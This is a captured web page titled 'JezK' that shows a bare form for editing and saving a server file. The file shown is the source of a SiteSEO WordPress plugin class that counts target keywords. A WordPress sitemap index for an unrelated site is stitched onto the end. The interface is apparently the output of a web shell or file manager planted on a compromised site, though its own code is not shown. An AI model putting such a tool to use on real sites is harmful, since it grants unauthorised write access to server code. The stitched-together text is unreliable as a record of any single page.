
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: CountTargetKeywordsUse.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/*
* SiteSEO
* https://siteseo.io/
* (c) SiteSEO Team &lt;support@siteseo.io&gt;
*/

/*
Copyright 2016 - 2024 - Benjamin Denis  (email : contact@seopress.org)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License, version 2, as
published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

namespace SiteSEO\Services\ContentAnalysis;

defined(&#039;ABSPATH&#039;) or exit(&#039;Cheatin&amp;#8217; uh?&#039;);

class CountTargetKeywordsUse
{
	public function getCountByKeywords($targetKeywords, $postId = null)
	{
		if(empty($targetKeywords)){
			return [];
		}

		$targetKeywords = array_map(&#039;trim&#039;, $targetKeywords);

		global $wpdb;


		$query = &quot;SELECT post_id, meta_value
		FROM {$wpdb-&gt;postmeta}
		WHERE meta_key = &#039;_siteseo_analysis_target_kw&#039;
		AND meta_value LIKE %s&quot;;

		$data = [];

		foreach ($targetKeywords as $key =&gt; $keyword) {
			$rows = $wpdb-&gt;get_results($wpdb-&gt;prepare($query, &quot;%$keyword%&quot;), ARRAY_A);
			$data[] = [
				&quot;key&quot; =&gt; $keyword,
				&quot;rows&quot; =&gt; array_values(array_filter(array_map(function($row) use ($keyword, $postId) {
					$values = array_map(&#039;trim&#039;, explode(&#039;,&#039;, $row[&#039;meta_value&#039;]));

					if(!in_array($keyword, $values, true) || $postId === $row[&#039;post_id&#039;]){
						return null;
					}

					return $row[&#039;post_id&#039;];
				}, $rows)))
			];
		}

		return $data;

	}
}

</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
